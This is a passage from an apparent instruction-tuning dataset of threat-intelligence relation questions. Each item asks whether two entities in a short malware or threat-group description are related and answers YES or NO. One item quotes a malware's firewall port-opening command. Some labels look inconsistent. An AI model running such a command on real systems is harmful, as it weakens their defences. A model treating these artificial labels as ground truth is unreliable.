threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDualToy\n### Target Entity: Android\n### Text Passage:\nDualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDualToy\n### Target Entity: iOS\n### Text Passage:\nDualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: iOS\n### Text Passage:\nDualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nxCaon\n### Target Entity: Kaspersky antivirus software\n### Text Passage:\nxCaon has checked for the existence of Kaspersky antivirus software on the system.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTianySpy\n### Target Entity: Japanese\n### Text Passage:\nTianySpy is a mobile malware primarily spread by SMS phishing between September 30 and October 12, 2021. TianySpy is believed to have targeted credentials associated with membership websites of major Japanese telecommunication services.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKiXtart\n### Target Entity: FlawedGrace\n### Text Passage:\nMany of the campaigns, especially the large volume ones, strongly resemble the historic TA505 activity from 2019 and 2020. The commonalities include similar domain naming conventions, email lures , Excel file lures, and the delivery of the FlawedGrace remote access trojan (RAT). The campaigns also contain some noteworthy, new developments, such as retooled intermediate loader stages scripted in Rebol and KiXtart, which are used instead of the previously popular Get2 downloader.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindTail\n### Target Entity: Hack Back KitM OSX\n### Text Passage:\nWindTail is a macOS surveillance implant used by Windshift. WindTail shares code similarities with Hack Back KitM OSX.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindshift\n### Target Entity: WindTail\n### Text Passage:\nWindTail is a macOS surveillance implant used by Windshift. WindTail shares code similarities with Hack Back KitM OSX.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindTail\n### Target Entity: macOS\n### Text Passage:\nWindTail is a macOS surveillance implant used by Windshift. WindTail shares code similarities with Hack Back KitM OSX.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: Prestige\n### Text Passage:\nPrestige ransomware has been used by Sandworm Team since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPrestige\n### Target Entity: Ukraine\n### Text Passage:\nPrestige ransomware has been used by Sandworm Team since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPrestige\n### Target Entity: Poland\n### Text Passage:\nPrestige ransomware has been used by Sandworm Team since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUkraine\n### Target Entity: Prestige\n### Text Passage:\nPrestige ransomware has been used by Sandworm Team since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUACMe\n### Target Entity: Windows\n### Text Passage:\nUACMe contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: ShadowPad\n### Text Passage:\nShadowPad is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by APT41, but has since been observed to be used by various Chinese threat activity groups. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShadowPad\n### Target Entity: NetSarang\n### Text Passage:\nShadowPad is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by APT41, but has since been observed to be used by various Chinese threat activity groups. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT41\n### Target Entity: Chinese\n### Text Passage:\nShadowPad is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by APT41, but has since been observed to be used by various Chinese threat activity groups. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShadowPad\n### Target Entity: Chinese\n### Text Passage:\nShadowPad is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by APT41, but has since been observed to be used by various Chinese threat activity groups. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT Confucius\n### Target Entity: Sunbird\n### Text Passage:\nSunbird is one of two mobile malware families known to be used by the APT Confucius. Analysis suggests that Sunbird was first active in early 2017. While Sunbird and Hornbill overlap in core capabilities, Sunbird has a more extensive set of malicious features.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHornbill\n### Target Entity: Sunbird\n### Text Passage:\nSunbird is one of two mobile malware families known to be used by the APT Confucius. Analysis suggests that Sunbird was first active in early 2017. While Sunbird and Hornbill overlap in core capabilities, Sunbird has a more extensive set of malicious features.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT Confucius\n### Target Entity: Hornbill\n### Text Passage:\nSunbird is one of two mobile malware families known to be used by the APT Confucius. Analysis suggests that Sunbird was first active in early 2017. While Sunbird and Hornbill overlap in core capabilities, Sunbird has a more extensive set of malicious features.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGoldFinder\n### Target Entity: C2\n### Text Passage:\nGoldFinder logged and stored information related to the route or hops a packet took from a compromised machine to a hardcoded C2 server, including the target C2 URL, HTTP response/status code, HTTP response headers and values, and data received from the C2 node.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nElderwood\n### Target Entity: Hydraq\n### Text Passage:\nHydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Aurora\n### Target Entity: Elderwood\n### Text Passage:\nHydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChinese\n### Target Entity: Google\n### Text Passage:\nHydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXbot\n### Target Entity: Android\n### Text Passage:\nXbot is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXbot\n### Target Entity: Russia\n### Text Passage:\nXbot is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXbot\n### Target Entity: Australia\n### Text Passage:\nXbot is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nZeus Panda\n### Target Entity: C2\n### Text Passage:\nZeus Panda collects the current system time (UTC) and sends it back to the C2 server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLOWBALL\n### Target Entity: Dropbox API\n### Text Passage:\nLOWBALL uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSakula\n### Target Entity: Kaspersky Anti-Virus (AV) 6.0\n### Text Passage:\nSakula uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSakula\n### Target Entity: Windows\n### Text Passage:\nSakula uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSakula\n### Target Entity: Outlook\n### Text Passage:\nSakula uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMcAfee\n### Target Entity: Sakula\n### Text Passage:\nSakula uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBriba\n### Target Entity: rundll32\n### Text Passage:\nBriba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNSO Group\n### Target Entity: Circles\n### Text Passage:\nCircles reportedly takes advantage of Signaling System 7 (SS7) weaknesses, the protocol suite used to route phone calls, to both track the location of mobile devices and intercept voice calls and SMS messages. It can be connected to a telecommunications company\u2019s infrastructure or purchased as a cloud service. Circles has reportedly been linked to the NSO Group.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nStealth Falcon\n### Target Entity: Windows Credential Vault\n### Text Passage:\nStealth Falcon malware gathers passwords from the Windows Credential Vault.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nStealth Falcon\n### Target Entity: Windows\n### Text Passage:\nStealth Falcon malware gathers passwords from the Windows Credential Vault.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGreyEnergy\n### Target Entity: Windows\n### Text Passage:\nGreyEnergy can securely delete a file by hooking into the DeleteFileA and DeleteFileW functions in the Windows API.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBOULDSPY\n### Target Entity: Android\n### Text Passage:\nBOULDSPY is an Android malware, detected in early 2023, with surveillance and remote-control capabilities. Analysis of exfiltrated C2 data suggests that BOULDSPY primarily targeted minority groups in Iran.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBOULDSPY\n### Target Entity: C2\n### Text Passage:\nBOULDSPY is an Android malware, detected in early 2023, with surveillance and remote-control capabilities. Analysis of exfiltrated C2 data suggests that BOULDSPY primarily targeted minority groups in Iran.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBOULDSPY\n### Target Entity: Iran\n### Text Passage:\nBOULDSPY is an Android malware, detected in early 2023, with surveillance and remote-control capabilities. Analysis of exfiltrated C2 data suggests that BOULDSPY primarily targeted minority groups in Iran.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHARDRAIN\n### Target Entity: cmd.exe\n### Text Passage:\nHARDRAIN uses the command cmd.exe /c netsh firewall add portopening TCP 443 \"adp\" and makes the victim machine function as a proxy server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nThe White Company\n### Target Entity: Microsoft Word\n### Text Passage:\nThe White Company has sent phishing emails with malicious Microsoft Word attachments to victims.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMicrosoft Word\n### Target Entity: The White Company\n### Text Passage:\nThe White Company has sent phishing emails with malicious Microsoft Word attachments to victims.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNgrok\n### Target Entity: C2\n### Text Passage:\nNgrok has been used by threat actors to proxy C2 connections to ngrok service subdomains.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nsspisrv.dll\n### Target Entity: Wingbird\n### Text Passage:\nWingbird side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWingbird\n### Target Entity: lssas.exe\n### Text Passage:\nWingbird side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nlssas.exe\n### Target Entity: sspisrv.dll\n### Text Passage:\nWingbird side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMarkiRAT\n### Target Entity: Visual Studio\n### Text Passage:\nMarkiRAT is a remote access Trojan (RAT) compiled with Visual Studio that has been used by Ferocious Kitten since at least 2015.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFerocious Kitten\n### Target Entity: MarkiRAT\n### Text Passage:\nMarkiRAT is a remote access Trojan (RAT) compiled with Visual Studio that has been used by Ferocious Kitten since at least 2015.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGolden Cup\n### Target Entity: Android\n### Text Passage:\nGolden Cup is Android spyware that has been used to target World Cup fans.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChrommme\n### Target Entity: Microsoft Foundation Class (MFC)\n### Text Passage:\nChrommme is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with Gelsemium malware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGelsemium\n### Target Entity: Chrommme\n### Text Passage:\nChrommme is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with Gelsemium malware.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCatchamas\n### Target Entity: NetAdapter\n### Text Passage:\nCatchamas adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPowGoop\n### Target Entity: PowerShell\n### Text Passage:\nPowGoop is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by MuddyWater as their main loader.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMuddyWater\n### Target Entity: PowGoop\n### Text Passage:\nPowGoop is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by MuddyWater as their main loader.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSocGholish\n### Target Entity: JavaScript\n### Text Passage:\nSocGholish is a JavaScript-based loader malware that has been used since at least 2017. It has been observed in use against multiple sectors globally for initial access, primarily through drive-by-downloads masquerading as software updates. SocGholish is operated by Mustard Tempest and its access has been sold to groups including Indrik Spider for downloading secondary RAT and ransomware payloads.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMustard Tempest\n### Target Entity: SocGholish\n### Text Passage:\nSocGholish is a JavaScript-based loader malware that has been used since at least 2017. It has been observed in use against multiple sectors globally for initial access, primarily through drive-by-downloads masquerading as software updates. SocGholish is operated by Mustard Tempest and its access has been sold to groups including Indrik Spider for downloading secondary RAT and ransomware payloads.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIndrik Spider\n### Target Entity: SocGholish\n### Text Passage:\nSocGholish is a JavaScript-based loader malware that has been used since at least 2017. It has been observed in use against multiple sectors globally for initial access, primarily through drive-by-downloads masquerading as software updates. SocGholish is operated by Mustard Tempest and its access has been sold to groups including Indrik Spider for downloading secondary RAT and ransomware payloads.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHermeticWiper\n### Target Entity: Ukraine\n### Text Passage:\nHermeticWiper is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + 